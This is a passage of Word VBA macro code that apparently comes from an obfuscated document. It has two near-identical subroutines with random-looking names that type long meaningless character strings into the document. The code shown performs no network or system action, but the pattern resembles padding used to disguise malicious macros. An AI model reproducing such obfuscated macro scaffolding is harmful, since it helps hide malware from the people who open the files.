Selection.TypeText "bD86e55edD7eG7B7DG7ECDe68b6GC7F9cEbGG97D7C6GFGGbdBcDG686G9ce5AAFF97GDGD8dDAGd"
Selection.TypeText "8GE77ae6a69FcFACAC657E8d9EeDcb9FB7d7cAEbed7be7ADcGCEa6Bd7eFFdBC66dAcCAd7aeG9a"
Selection.TypeText "Dc6DAFdAeF7ecCEdE55cFBaa96bA8cBBeCbDb8dDbG97ED5AeB7bdG8CF6dCd9GCb9EEGBd7B88eG"
Selection.TypeText "8d58AEG996EEAE8AG5EB7Ee8DC9GDEca7996ad9AABd6F77AFF58d5accadCdAFFEB9EC6ccdGeeD"
Selection.TypeText "bGBaFDEdB8EC9eGd9b7c6Ed6cabE9F8Fab9AdD9DcEFbc6eBDEE7BEAGF9G7AG5bCeacAee9b8c6d"
Selection.TypeText "dcFFCECGceceeDa86ABbeAd59E8G7bCDEGE6c5D5bcbDE9ea89dCe8bBec6GG5F988C8B665E66Cd"
Selection.TypeText "B66FdaEeDCeeD7bEE955A6DBAdDGd8bFEacF6b6a9DD9bd9FCd97d66B9Ba5Cd6cD665FFDAcF67e"
Selection.TypeText "bdD89cF7Gaa7Aec568Cc97eAA6EG8DbA9e5Cd85cdDd6C8d8BBac757Ba57Ga8F6cBa5Aae96ccGF"
Selection.TypeText "d7bbb95aE77FccCdDede8e9eBdA8A8ebbc5bD87GDbdFe5GG956DF6CGFe888CDD6B9E8BA75ddB5"
Selection.TypeText "c5aCE7A6A6eG7eD96bBAacEaaFaDdcd8CGE7ebcDBC9bAB6G58e9BcCBADA98c9BCFdBCc87FFB9A"
Selection.TypeText "C6bFaddGDbaC79eB679GEFD976BaB5GE5G7eFdFB7C5c8A6AGcA58aGEa67GaBcAE6aEA5B9DBaCd"
Selection.TypeText "D65bBA5GGB5GGCEFD697E8BecE9DB88adBFBC85BDF6c85acFF6EdG8FG7CGC5F66eaGD9e9cFd6c"
Selection.TypeText "c97bdADbdFDE8CC96aGc8CGF6EAF788BABeB8d6EDDGF7b778cD8CEbBDDcdGe8C8daB8BCcGCC5E"
Selection.TypeText "CGD5Fea6AdAABceEEGG5EGc956D9dc95EB9AEG5C8dcCbBC65DBCaFdBaaec8bGGCG68eC687F5Ac"
Selection.TypeText "77cdaaAd6eadF9cFad655G66CEAECD7A9e5ae6abD6BGcGBd5d9CEe5GE98Dd6d5A7dD66accDbdD"
Selection.TypeText "8F6B9a9bBCB6AbeB9F6ddaDEbBDBeADbE9DcBBdBabdBbAecEcD9DGE8aC6B8EEe6dC85Faba8Baa"
Selection.TypeText "Faa9cAb7DGEE9C6GbDEEAb69GDF7a69B7DbF996GbEaFc6aBF7dcGBbb7dCGec5ce9eaC5a8bAeFd"
Selection.TypeText "6dF88cdGdCFEGDd85DAEE6Dc8e6BE56BdF8CGe6G7GFGAAdaA6AAcaGe8c856EFABCGF57B8E5adD"
Selection.TypeText "daBbEb68aFAAceD57887GDDBa6D6c5B89FeedGFFdFG7aDeb88b95cCF9C7Fb666C7CEGaBecdGDB"
Selection.TypeText "G6e8FdddAD5adGd7C8dGaaACC5GbbF8DeFGbEe6e8eGF9E5DBab75BEB7GDeb58Ebd5C9dDd7bd8E"
Selection.TypeText "A6EGCA55F7aeGd57E76CDb59FGccF9daE9aGEeeDde5B9Dc8D9FGbCeGBbFBA5CbD6D9beBF77Dc8"
Selection.TypeText "D5eAaaEEF556EBFG68aeAEdae9C9G56E7EAFaEdec6bD85cCC5BdFaccAAA755Fbdb65DaeDbF5C7"
Selection.TypeText "e6dBGeDaB785cCdFF75989C85cadC65E9b5dDBE8G5d5ac9668EeEAAba59BcccE8B67b87E6bFCB"
Selection.TypeText "GeC8aeAee68C8C7A86cFEac998ADc56CE5eF5BdcD69cc5d8CCDe9CEC8EECAbeBGBEdDFF7cGGbc"
Selection.TypeText "e679977A6DC97a9cbeebEBcG6B9a8Bd6BaFB6EDDFbD8bEcDBccaC6eC9cbd5Ge8CA5EGFBD8dbCe"
Selection.TypeText "a6Dc6bDbAEBAD86c8abEEDEeaDGGEcAaeDGb5DAbAEcFe7BEEGA98dDcDCaBFcBdAdD8bd56Aed7F"
Selection.TypeText "aGeG898cdbCdAcdb5dBG86BEbc5BC57aeCB5Ec5DFGAEFEd9dEeAE9de6GFdb76F6EFAEbeCEBeE5"
Selection.TypeText "DcaeCcF865FaCcddFC86BAFBd79a9979GeCBA9A8cBF7CDaCAEbb8dA77B8BB7GGdC6Aea787GAA7"
Selection.TypeText "7dE7EeC9de7d5AcEc9GeGBEbccbEacEAa59G587BdD86bBC8c96GAaBaa8c79Fe8a6GGed8CG7B8G"
Selection.TypeText "9FabdDb6CF6Aa7dB8e7b6Fd8G8D679d69GaCGF8ededacCEbF6GBbbcb8eAGa875GeeGedGEaDGD7"
Selection.TypeText "a5bDeEGFaeda7DDAD798AGDb7ebDcAE9FABBbDCD9EC7c9BAdC8dDeD9Fcb5BFGG65c6Da5AeC9EA"
Selection.TypeText "E8DBDdGD8dbAGedFAGDa9D7Dd7DEEDdbdEGbdBdDFEE6A6baFGCD9E8B57aaeGeeCbc5CD9Ce667E"
Selection.TypeText "dBad59FeFDF6dceEeD8a9Aa6FcA5aB8G8dEa7Bb756Fe6A55aCF69bebGBbFccEc9eb9d8BF7aGBb"
Selection.TypeText "ADBGe9G6cc69F6FEF55EDBb7abCce8EbbaeCCFGCAda8d9dAAbb8BE765DCdCb8AAadB5B85Cbe8b"
Selection.TypeText "CEC896FC8E9C6aaddDd75CabEbG67aFb7FcecEFc856Bc5EG5aeFCbGb7DE96baDGaCAB9E7dcC5b"
Selection.TypeText "Gc6FD689dAD6EcbAC55DAd7GaB7Bec959987aG5aACaCE6GAa5daaE5D7BFbaaa5ceE6AE79CBAEE"
Selection.TypeText "DCDA6C69GcADaF5dEFFe6EAGdDbCA57Fa9eFca7dGGA8G6a95GEbdCFb7F55AeE57FCGd7cCcbdDe"
Selection.TypeText "CFGe8DBa8C77c6a5cCcb7ADa8b8e89GB8aFccc859eEA6bFee6bEeADd9GE9bGEB5eBEDCbc99FB6"
Selection.TypeText "aCCFB6Dbb5e9eDc98bGEe8CeEae9a6GbecB7aaCeBaC7AAa7Aa7aF5ed75798b9a7bA55CbFEebb6"
Selection.TypeText "DFaGB7eE9GB8eBbDbGb7deca7C9a7a8EdeddGbcc5EeECGbF7598FFF7597DCGEEeG6DdC7a8E7AD"
Selection.TypeText "F97EEDF66Gd6B5eCB9GG7e5CAb69BEaDEGA9a5F7FCeeG99e57GccaA8D7A78EEe5FDdFE9GdCFDc"
Selection.TypeText "BD6BGDdDc86DeG98DCG9DB8G7CeD8FB8966ebDa9DDb9FFaFDA658eA55edFE8G5CGbFGba6CGdF9"
Selection.TypeParagraph
End Sub
Private Sub MemDrawLir7yipiune3754()
Options.ReplaceSelection = True
ActiveDocument.Sentences(1).Select
Selection.TypeText "e76F655Db989AABcaGee6857aFEFGFbdG6b9Ea677CDEGbc6BF665d59BFE9cd5d7cB6A75E8CA6a"
Selection.TypeText "DC7Cea5BAFbaaa65ccC79eC8E79DdBdBabC5d9cecBeFDecDdEBFea5b7bEa6FBAaEe566CabDac7"
Selection.TypeText "5GD77dBECdGbG9EDEE6bEGacb966AE6cDCad675B55b9ebc8GGd57dB9DacBC6FD8c7DG87BaBFdA"
Selection.TypeText "5AcaeBcGAa88Gbc7cGBAE77bdceaE7CCBC7EB655b6E56G5EeEB587db5FG9b8bADGGe76D89deCa"
Selection.TypeText "c9859DEEC6B899caBAA86D7A5CGCEG5DDd5cebbEC5dd8BAGD67cE69ccBecE78A7GdDBdaD8a7G7"
Selection.TypeText "GGGcdCB9EcC9CcCGd758a6E9CcDb5AFA8e9Gec9bBA96d69dE8dGAcd96b68A8e66BEaADdDaaB6E"
Selection.TypeText "76bBGc8dabbCae5Gb775GCdcEB6FFCG5ECCGCceDebeE57BCaG9CBb7CB57eebd8ed9accd6B5F86"
Selection.TypeText "eCFDA5Da6FcAddF6d7aFAEEFAdEB6cG7ce8Fe6cc68DAD87dadF88eDcD79DAB88b9EA5aCB6FEEe"
Selection.TypeText "BAFc58c5BcCGaF6F6FD9ba8dD7dBdEd87edGCEDEDcBbBE7GcA5adaEAA89FGdBBDdGdacDe5987B"
Selection.TypeText "F5CDd6dDcCEaG7GCFBCBGB8996edcBe6cGdAd66D85ebB9E6FGB69GFB7C6B9Ed7da668c6GecDBb"
Selection.TypeText "b8578576abDDGCcbFDbd8aea6FGe9GB99cc8caFAaEECDd9FGC5dE95ae659CcDD5Faa8Ae8b7dFc"
Selection.TypeText "EG8bc96c5bacGFCeGc6CddF6dGbaCd5C7cDGbcBb6FbaaFA5ee7CaD9GG98eCGa5579ed56855d7F"
Selection.TypeText "9977ccG7b5aFG5eFDa77AAcd7675B8E69E75GB85EeDCbCAEGeGAe6dGAbcGa88AbC8EFF5ad95cb"
Selection.TypeText "5EbbGD98c6bF96ddd6AceA79BFG5AE55EGbdFb6dcBe5EBb6caDF76eDe9AC86a7EeE8BEGDB969F"
Selection.TypeText "DEBdE6CebF9cAdCdCG9eEE9cdBF997ED8d89de7AcacceC9E9GeEGe7BdBCdE77ecGAFd69E7aDCA"
Selection.TypeText "8F7bGCcE7AGddB9d9CbEe6CGddFGeFdBGa97F85d5AcFae8bAeAeGDbaG76G9957aD8b7cF56bDB7"
Selection.TypeText "EE8DaFeCFdCee5cEcE985b7aG8bBe7cBAbFaBc6BB8bGBAa5DAaA859bcDebCCdbbdEGdd88GFCCc"
Selection.TypeText "bBdFebDadDDCC8F55ABCdDd8CaeGA9B96GCA79C8a7FF8c8A8AdeaeB69edE87CFdG88G8GacD57B"
Selection.TypeText "C86De655Bd6bCFGeeBe7FFe9EE9ADAC9BFaFedFCAFFGDFaaaEGaa9cAFdC79eEFGDG7BcaAD56Ed"
Selection.TypeText "cFEB6FFBcDdb89AEFaBF8aaFAD9G9bF5aB5A9CcGF6CDE5CbeB78GadeFCFeEC567EBE65c68dd6B"
Selection.TypeText "9FcF9BeEEFFF7d665FD759C85EabEdbAabdEB9bB778e9d5Cab6aBeBE8BdF8D75G7d7cEbGFcAA7"
Selection.TypeText "CbG9GA9CC98GbB6EF8GFCeaGBGFBGG7b979BCCD6GGDB6EGBAGb5DGFGCdEc77dAAc7dDGCad6abG"
Selection.TypeText "eBb9B7C86aCDFBE9BBa8Gae5DeaaDcBadF9DdE78b5BGC7AbaBaCa98edacbcec5eA7EGbFBee85C"
Selection.TypeText "Bc8AcBe67GB699D6FGaB7GDDb5D6ccdDbD56655cD9ce6EAA8be7aACdG69eb7BdA67aFDcBAcbA8"
Selection.TypeText "cAaFFd6EDBe6DF6aGAaaDF76ddd8FcCGbDdGDe56Fc566ECEG7E5GeA6EbGG8AGaabc8dG8B58Dd6"
Selection.TypeText "8676E6Dc5Fb86dDc7AeebAG56cDc9eEdG8F5a5c9G8F8aeCc6EBecedde8CBeF58BaD95E8BdbF69"
Selection.TypeText "57b77bGED6cDcD9ABCad97c6A6AeGcA7G8CA8baDDDFacbEe9e8D67ACG5e9cG6a59dEC8EGAAdDa"
Selection.TypeText "b995Gc5BbCbeAb8bAGaF6D9G7bb5B8CFAcc5d5GFD6e5GB7AB76CeaDAEc698CbCcGeAaEBdE865a"
Selection.TypeText "aeEcCF97Bb77E8GGabd7bEB98c958EFC87ABbA5DA7B988c6GaFFb6aC7GAAC8d8Cc8FG8GC56CCd"
Selection.TypeText "69AC9C7Gd7Cd9bG6CG6e768Aac7Ee59ACCBaDF5dCFdE58dG9BF9D7DBABb8ECB7EcB8Gd6Ga8dAb"
Selection.TypeText "bFc8bCcAbdAC8Gc8aD9BDcFBeEA99CG6d8c97CDEbF97CGedDa5597eEBFEGdEDbDBddBdD7DFb8C"
Selection.TypeText "78b6EBCCe78bDB5BAEBcec7DD6FDdCAa9E79b6Ea9G9G5dA95CaDFCb66CBED6dEG7bDDFca7d96E"
Selection.TypeText "E9AC9a565aG9AeFbD5ce75e59GDa6EabEDCBD8aa577aD6d8b8FGe79CGebF99e79de759576bDEA"
Selection.TypeText "87abb9B966a66BBeeDEG9aCeF7b867B7bBFGcd9e59BAb8c9aDc6GECBBFGceDDABdDCacA7Bc8GA"
Selection.TypeText "8EabFcd565Eb98d9dBeeCAGC95F7GFb98eG56B8G8E6GebBdABaaF5cBDED9Deaa7bBBG8eBe88E7"
Selection.TypeText "CeAcabe67Da95C5D7B8C6B65CGc969Fa8ccbDDAaD9GGAd76BaCb6cccF9Ba7579GF6BF6CcaCe7E"
Selection.TypeText "bD86e55edD7eG7B7DG7ECDe68b6GC7F9cEbGG97D7C6GFGGbdBcDG686G9ce5AAFF97GDGD8dDAGd"
Selection.TypeText "8GE77ae6a69FcFACAC657E8d9EeDcb9FB7d7cAEbed7be7ADcGCEa6Bd7eFFdBC66dAcCAd7aeG9a"
Selection.TypeText "Dc6DAFdAeF7ecCEdE55cFBaa96bA8cBBeCbDb8dDbG97ED5AeB7bdG8CF6dCd9GCb9EEGBd7B88eG"
Selection.TypeText "8d58AEG996EEAE8AG5EB7Ee8DC9GDEca7996ad9AABd6F77AFF58d5accadCdAFFEB9EC6ccdGeeD"
Selection.TypeText "bGBaFDEdB8EC9eGd9b7c6Ed6cabE9F8Fab9AdD9DcEFbc6eBDEE7BEAGF9G7AG5bCeacAee9b8c6d"
Selection.TypeText "dcFFCECGceceeDa86ABbeAd59E8G7bCDEGE6c5D5bcbDE9ea89dCe8bBec6GG5F988C8B665E66Cd"
Selection.TypeText "B66FdaEeDCeeD7bEE955A6DBAdDGd8bFEacF6b6a9DD9bd9FCd97d66B9Ba5Cd6cD665FFDAcF67e"
Selection.TypeText "bdD89cF7Gaa7Aec568Cc97eAA6EG8DbA9e5Cd85cdDd6C8d8BBac757Ba57Ga8F6cBa5Aae96ccGF"
Selection.TypeText "d7bbb95aE77FccCdDede8e9eBdA8A8ebbc5bD87GDbdFe5GG956DF6CGFe888CDD6B9E8BA75ddB5"
Selection.TypeText "c5aCE7A6A6eG7eD96bBAacEaaFaDdcd8CGE7ebcDBC9bAB6G58e9BcCBADA98c9BCFdBCc87FFB9A"
Selection.TypeText "C6bFaddGDbaC79eB679GEFD976BaB5GE5G7eFdFB7C5c8A6AGcA58aGEa67GaBcAE6aEA5B9DBaCd"
Selection.TypeText "D65bBA5GGB5GGCEFD697E8BecE9DB88adBFBC85BDF6c85acFF6EdG8FG7CGC5F66eaGD9e9cFd6c"
Selection.TypeText "c97bdADbdFDE8CC96aGc8CGF6EAF788BABeB8d6EDDGF7b778cD8CEbBDDcdGe8C8daB8BCcGCC5E"
Selection.TypeText "CGD5Fea6AdAABceEEGG5EGc956D9dc95EB9AEG5C8dcCbBC65DBCaFdBaaec8bGGCG68eC687F5Ac"
Selection.TypeText "77cdaaAd6eadF9cFad655G66CEAECD7A9e5ae6abD6BGcGBd5d9CEe5GE98Dd6d5A7dD66accDbdD"
Selection.TypeText "8F6B9a9bBCB6AbeB9F6ddaDEbBDBeADbE9DcBBdBabdBbAecEcD9DGE8aC6B8EEe6dC85Faba8Baa"
Selection.TypeText "Faa9cAb7DGEE9C6GbDEEAb69GDF7a69B7DbF996GbEaFc6aBF7dcGBbb7dCGec5ce9eaC5a8bAeFd"
Selection.TypeText "6dF88cdGdCFEGDd85DAEE6Dc8e6BE56BdF8CGe6G7GFGAAdaA6AAcaGe8c856EFABCGF57B8E5adD"
Selection.TypeText "daBbEb68aFAAceD57887GDDBa6D6c5B89FeedGFFdFG7aDeb88b95cCF9C7Fb666C7CEGaBecdGDB"
Selection.TypeText "G6e8FdddAD5adGd7C8dGaaACC5GbbF8DeFGbEe6e8eGF9E5DBab75BEB7GDeb58Ebd5C9dDd7bd8E"
Selection.TypeText "A6EGCA55F7aeGd57E76CDb59FGccF9daE9aGEeeDde5B9Dc8D9FGbCeGBbFBA5CbD6D9beBF77Dc8"
Selection.TypeText "D5eAaaEEF556EBFG68aeAEdae9C9G56E7EAFaEdec6bD85cCC5BdFaccAAA755Fbdb65DaeDbF5C7"
Selection.TypeText "e6dBGeDaB785cCdFF75989C85cadC65E9b5dDBE8G5d5ac9668EeEAAba59BcccE8B67b87E6bFCB"
Selection.TypeText "GeC8aeAee68C8C7A86cFEac998ADc56CE5eF5BdcD69cc5d8CCDe9CEC8EECAbeBGBEdDFF7cGGbc"
Selection.TypeText "e679977A6DC97a9cbeebEBcG6B9a8Bd6BaFB6EDDFbD8bEcDBccaC6eC9cbd5Ge8CA5EGFBD8dbCe"
Selection.TypeText "a6Dc6bDbAEBAD86c8abEEDEeaDGGEcAaeDGb5DAbAEcFe7BEEGA98dDcDCaBFcBdAdD8bd56Aed7F"
Selection.TypeText "aGeG898cdbCdAcdb5dBG86BEbc5BC57aeCB5Ec5DFGAEFEd9dEeAE9de6GFdb76F6EFAEbeCEBeE5"
Selection.TypeText "DcaeCcF865FaCcddFC86BAFBd79a9979GeCBA9A8cBF7CDaCAEbb8dA77B8BB7GGdC6Aea787GAA7"
Selection.TypeText "7dE7EeC9de7d5AcEc9GeGBEbccbEacEAa59G587BdD86bBC8c96GAaBaa8c79Fe8a6GGed8CG7B8G"
Selection.TypeText "9FabdDb6CF6Aa7dB8e7b6Fd8G8D679d69GaCGF8ededacCEbF6GBbbcb8eAGa875GeeGedGEaDGD7"
Selection.TypeText "a5bDeEGFaeda7DDAD798AGDb7ebDcAE9FABBbDCD9EC7c9BAdC8dDeD9Fcb5BFGG65c6Da5AeC9EA"
Selection.TypeText "E8DBDdGD8dbAGedFAGDa9D7Dd7DEEDdbdEGbdBdDFEE6A6baFGCD9E8B57aaeGeeCbc5CD9Ce667E"
Selection.TypeText "dBad59FeFDF6dceEeD8a9Aa6FcA5aB8G8dEa7Bb756Fe6A55aCF69bebGBbFccEc9eb9d8BF7aGBb"
Selection.TypeText "ADBGe9G6cc69F6FEF55EDBb7abCce8EbbaeCCFGCAda8d9dAAbb8BE765DCdCb8AAadB5B85Cbe8b"
Selection.TypeText "CEC896FC8E9C6aaddDd75CabEbG67aFb7FcecEFc856Bc5EG5aeFCbGb7DE96baDGaCAB9E7dcC5b"
Selection.TypeText "Gc6FD689dAD6EcbAC55DAd7GaB7Bec959987aG5aACaCE6GAa5daaE5D7BFbaaa5ceE6AE79CBAEE"
Selection.TypeText "DCDA6C69GcADaF5dEFFe6EAGdDbCA57Fa9eFca7dGGA8G6a95GEbdCFb7F55AeE57FCGd7cCcbdDe"
Selection.TypeText "CFGe8DBa8C77c6a5cCcb7ADa8b8e89GB8aFccc859eEA6bFee6bEeADd9GE9bGEB5eBEDCbc99FB6"
Selection.TypeText "aCCFB6Dbb5e9eDc98bGEe8CeEae9a6GbecB7aaCeBaC7AAa7Aa7aF5ed75798b9a7bA55CbFEebb6"
Selection.TypeText "DFaGB7eE9GB8eBbDbGb7deca7C9a7a8EdeddGbcc5EeECGbF7598FFF7597DCGEEeG6DdC7a8E7AD"
Selection.TypeText "F97EEDF66Gd6B5eCB9GG7e5CAb69BEaDEGA9a5F7FCeeG99e57GccaA8D7A78EEe5FDdFE9GdCFDc"
Selection.TypeText "BD6BGDdDc86DeG98DCG9DB8G7CeD8FB8966ebDa9DDb9FFaFDA658eA55edFE8G5CGbFGba6CGdF9"
Selection.TypeParagraph
End Sub

Private Sub MemDrasdrtuwLine3754()
Options.ReplaceSelection = True
ActiveDocument.Sentences(1).Select
Selection.TypeText "e76F655Db989AABcaGee6857aFEFGFbdG6b9Ea677CDEGbc6BF665d59BFE9cd5d7cB6A75E8CA6a"
Selection.TypeText "DC7Cea5BAFbaaa65ccC79eC8E79DdBdBabC5d9cecBeFDecDdEBFea5b7bEa6FBAaEe566CabDac7"
Selection.TypeText "5GD77dBECdGbG9EDEE6bEGacb966AE6cDCad675B55b9ebc8GGd57dB9DacBC6FD8c7DG87BaBFdA"
Selection.TypeText "5AcaeBcGAa88Gbc7cGBAE77bdceaE7CCBC7EB655b6E56G5EeEB587db5FG9b8bADGGe76D89deCa"
Selection.TypeText "c9859DEEC6B899caBAA86D7A5CGCEG5DDd5cebbEC5dd8BAGD67cE69ccBecE78A7GdDBdaD8a7G7"
Selection.TypeText "GGGcdCB9EcC9CcCGd758a6E9CcDb5AFA8e9Gec9bBA96d69dE8dGAcd96b68A8e66BEaADdDaaB6E"
Selection.TypeText "76bBGc8dabbCae5Gb775GCdcEB6FFCG5ECCGCceDebeE57BCaG9CBb7CB57eebd8ed9accd6B5F86"
Selection.TypeText "eCFDA5Da6FcAddF6d7aFAEEFAdEB6cG7ce8Fe6cc68DAD87dadF88eDcD79DAB88b9EA5aCB6FEEe"
Selection.TypeText "BAFc58c5BcCGaF6F6FD9ba8dD7dBdEd87edGCEDEDcBbBE7GcA5adaEAA89FGdBBDdGdacDe5987B"
Selection.TypeText "F5CDd6dDcCEaG7GCFBCBGB8996edcBe6cGdAd66D85ebB9E6FGB69GFB7C6B9Ed7da668c6GecDBb"
Selection.TypeText "b8578576abDDGCcbFDbd8aea6FGe9GB99cc8caFAaEECDd9FGC5dE95ae659CcDD5Faa8Ae8b7dFc"
Selection.TypeText "EG8bc96c5bacGFCeGc6CddF6dGbaCd5C7cDGbcBb6FbaaFA5ee7CaD9GG98eCGa5579ed56855d7F"
Selection.TypeText "9977ccG7b5aFG5eFDa77AAcd7675B8E69E75GB85EeDCbCAEGeGAe6dGAbcGa88AbC8EFF5ad95cb"
Selection.TypeText "5EbbGD98c6bF96ddd6AceA79BFG5AE55EGbdFb6dcBe5EBb6caDF76eDe9AC86a7EeE8BEGDB969F"
Selection.TypeText "DEBdE6CebF9cAdCdCG9eEE9cdBF997ED8d89de7AcacceC9E9GeEGe7BdBCdE77ecGAFd69E7aDCA"
Selection.TypeText "8F7bGCcE7AGddB9d9CbEe6CGddFGeFdBGa97F85d5AcFae8bAeAeGDbaG76G9957aD8b7cF56bDB7"
Selection.TypeText "EE8DaFeCFdCee5cEcE985b7aG8bBe7cBAbFaBc6BB8bGBAa5DAaA859bcDebCCdbbdEGdd88GFCCc"
Selection.TypeText "bBdFebDadDDCC8F55ABCdDd8CaeGA9B96GCA79C8a7FF8c8A8AdeaeB69edE87CFdG88G8GacD57B"
Selection.TypeText "C86De655Bd6bCFGeeBe7FFe9EE9ADAC9BFaFedFCAFFGDFaaaEGaa9cAFdC79eEFGDG7BcaAD56Ed"
Selection.TypeText "cFEB6FFBcDdb89AEFaBF8aaFAD9G9bF5aB5A9CcGF6CDE5CbeB78GadeFCFeEC567EBE65c68dd6B"
Selection.TypeText "9FcF9BeEEFFF7d665FD759C85EabEdbAabdEB9bB778e9d5Cab6aBeBE8BdF8D75G7d7cEbGFcAA7"
Selection.TypeText "CbG9GA9CC98GbB6EF8GFCeaGBGFBGG7b979BCCD6GGDB6EGBAGb5DGFGCdEc77dAAc7dDGCad6abG"
Selection.TypeText "eBb9B7C86aCDFBE9BBa8Gae5DeaaDcBadF9DdE78b5BGC7AbaBaCa98edacbcec5eA7EGbFBee85C"
Selection.TypeText "Bc8AcBe67GB699D6FGaB7GDDb5D6ccdDbD56655cD9ce6EAA8be7aACdG69eb7BdA67aFDcBAcbA8"
Selection.TypeText "cAaFFd6EDBe6DF6aGAaaDF76ddd8FcCGbDdGDe56Fc566ECEG7E5GeA6EbGG8AGaabc8dG8B58Dd6"
Selection.TypeText "8676E6Dc5Fb86dDc7AeebAG56cDc9eEdG8F5a5c9G8F8aeCc6EBecedde8CBeF58BaD95E8BdbF69"
Selection.TypeText "57b77bGED6cDcD9ABCad97c6A6AeGcA7G8CA8baDDDFacbEe9e8D67ACG5e9cG6a59dEC8EGAAdDa"
Selection.TypeText "b995Gc5BbCbeAb8bAGaF6D9G7bb5B8CFAcc5d5GFD6e5GB7AB76CeaDAEc698CbCcGeAaEBdE865a"
Selection.TypeText "aeEcCF97Bb77E8GGabd7bEB98c958EFC87ABbA5DA7B988c6GaFFb6aC7GAAC8d8Cc8FG8GC56CCd"
Selection.TypeText "69AC9C7Gd7Cd9bG6CG6e768Aac7Ee59ACCBaDF5dCFdE58dG9BF9D7DBABb8ECB7EcB8Gd6Ga8dAb"
Selection.TypeText "bFc8bCcAbdAC8Gc8aD9BDcFBeEA99CG6d8c97CDEbF97CGedDa5597eEBFEGdEDbDBddBdD7DFb8C"
Selection.TypeText "78b6EBCCe78bDB5BAEBcec7DD6FDdCAa9E79b6Ea9G9G5dA95CaDFCb66CBED6dEG7bDDFca7d96E"
Selection.TypeText "E9AC9a565aG9AeFbD5ce75e59GDa6EabEDCBD8aa577aD6d8b8FGe79CGebF99e79de759576bDEA"
Selection.TypeText "87abb9B966a66BBeeDEG9aCeF7b867B7bBFGcd9e59BAb8c9aDc6GECBBFGceDDABdDCacA7Bc8GA"
Selection.TypeText "8EabFcd565Eb98d9dBeeCAGC95F7GFb98eG56B8G8E6GebBdABaaF5cBDED9Deaa7bBBG8eBe88E7"
Selection.TypeText "CeAcabe67Da95C5D7B8C6B65CGc969Fa8ccbDDAaD9GGAd76BaCb6cccF9Ba7579GF6BF6CcaCe7E"
Selection.TypeText "bD86e55edD7eG7B7DG7ECDe68b6GC7F9cEbGG97D7C6GFGGbdBcDG686G9ce5AAFF97GDGD8dDAGd"
Selection.TypeText "8GE77ae6a69FcFACAC657E8d9EeDcb9FB7d7cAEbed7be7ADcGCEa6Bd7eFFdBC66dAcCAd7aeG9a"
Selection.TypeText "Dc6DAFdAeF7ecCEdE55cFBaa96bA8cBBeCbDb8dDbG97ED5AeB7bdG8CF6dCd9GCb9EEGBd7B88eG"
Selection.TypeText "8d58AEG996EEAE8AG5EB7Ee8DC9GDEca7996ad9AABd6F77AFF58d5accadCdAFFEB9EC6ccdGeeD"
Selection.TypeText "bGBaFDEdB8EC9eGd9b7c6Ed6cabE9F8Fab9AdD9DcEFbc6eBDEE7BEAGF9G7AG5bCeacAee9b8c6d"
Selection.TypeText "dcFFCECGceceeDa86ABbeAd59E8G7bCDEGE6c5D5bcbDE9ea89dCe8bBec6GG5F988C8B665E66Cd"
Selection.TypeText "B66FdaEeDCeeD7bEE955A6DBAdDGd8bFEacF6b6a9DD9bd9FCd97d66B9Ba5Cd6cD665FFDAcF67e"
Selection.TypeText "bdD89cF7Gaa7Aec568Cc97eAA6EG8DbA9e5Cd85cdDd6C8d8BBac757Ba57Ga8F6cBa5Aae96ccGF"
Selection.TypeText "d7bbb95aE77FccCdDede8e9eBdA8A8ebbc5bD87GDbdFe5GG956DF6CGFe888CDD6B9E8BA75ddB5"
Selection.TypeText "c5aCE7A6A6eG7eD96bBAacEaaFaDdcd8CGE7ebcDBC9bAB6G58e9BcCBADA98c9BCFdBCc87FFB9A"
Selection.TypeText "C6bFaddGDbaC79eB679GEFD976BaB5GE5G7eFdFB7C5c8A6AGcA58aGEa67GaBcAE6aEA5B9DBaCd"
Selection.TypeText "D65bBA5GGB5GGCEFD697E8BecE9DB88adBFBC85BDF6c85acFF6EdG8FG7CGC5F66eaGD9e9cFd6c"
Selection.TypeText "c97bdADbdFDE8CC96aGc8CGF6EAF788BABeB8d6EDDGF7b778cD8CEbBDDcdGe8C8daB8BCcGCC5E"
Selection.TypeText "CGD5Fea6AdAABceEEGG5EGc956D9dc95EB9AEG5C8dcCbBC65DBCaFdBaaec8bGGCG68eC687F5Ac"
Selection.TypeText "77cdaaAd6eadF9cFad655G66CEAECD7A9e5ae6abD6BGcGBd5d9CEe5GE98Dd6d5A7dD66accDbdD"
Selection.TypeText "8F6B9a9bBCB6AbeB9F6ddaDEbBDBeADbE9DcBBdBabdBbAecEcD9DGE8aC6B8EEe6dC85Faba8Baa"
Selection.TypeText "Faa9cAb7DGEE9C6GbDEEAb69GDF7a69B7DbF996GbEaFc6aBF7dcGBbb7dCGec5ce9eaC5a8bAeFd"
Selection.TypeText "6dF88cdGdCFEGDd85DAEE6Dc8e6BE56BdF8CGe6G7GFGAAdaA6AAcaGe8c856EFABCGF57B8E5adD"
Selection.TypeText "daBbEb68aFAAceD57887GDDBa6D6c5B89FeedGFFdFG7aDeb88b95cCF9C7Fb666C7CEGaBecdGDB"
Selection.TypeText "G6e8FdddAD5adGd7C8dGaaACC5GbbF8DeFGbEe6e8eGF9E5DBab75BEB7GDeb58Ebd5C9dDd7bd8E"
Selection.TypeText "A6EGCA55F7aeGd57E76CDb59FGccF9daE9aGEeeDde5B9Dc8D9FGbCeGBbFBA5CbD6D9beBF77Dc8"
Selection.TypeText "D5eAaaEEF556EBFG68aeAEdae9C9G56E7EAFaEdec6bD85cCC5BdFaccAAA755Fbdb65DaeDbF5C7"
Selection.TypeText "e6dBGeDaB785cCdFF75989C85cadC65E9b5dDBE8G5d5ac9668EeEAAba59BcccE8B67b87E6bFCB"
Selection.TypeText "GeC8aeAee68C8C7A86cFEac998ADc56CE5eF5BdcD69cc5d8CCDe9CEC8EECAbeBGBEdDFF7cGGbc"
Selection.TypeText "e679977A6DC97a9cbeebEBcG6B9a8Bd6BaFB6EDDFbD8bEcDBccaC6eC9cbd5Ge8CA5EGFBD8dbCe"
Selection.TypeText "a6Dc6bDbAEBAD86c8abEEDEeaDGGEcAaeDGb5DAbAEcFe7BEEGA98dDcDCaBFcBdAdD8bd56Aed7F"
Selection.TypeText "aGeG898cdbCdAcdb5dBG86BEbc5BC57aeCB5Ec5DFGAEFEd9dEeAE9de6GFdb76F6EFAEbeCEBeE5"
Selection.TypeText "DcaeCcF865FaCcddFC86BAFBd79a9979GeCBA9A8cBF7CDaCAEbb8dA77B8BB7GGdC6Aea787GAA7"
Selection.TypeText "7dE7EeC9de7d5AcEc9GeGBEbccbEacEAa59G587BdD86bBC8c96GAaBaa8c79Fe8a6GGed8CG7B8G"
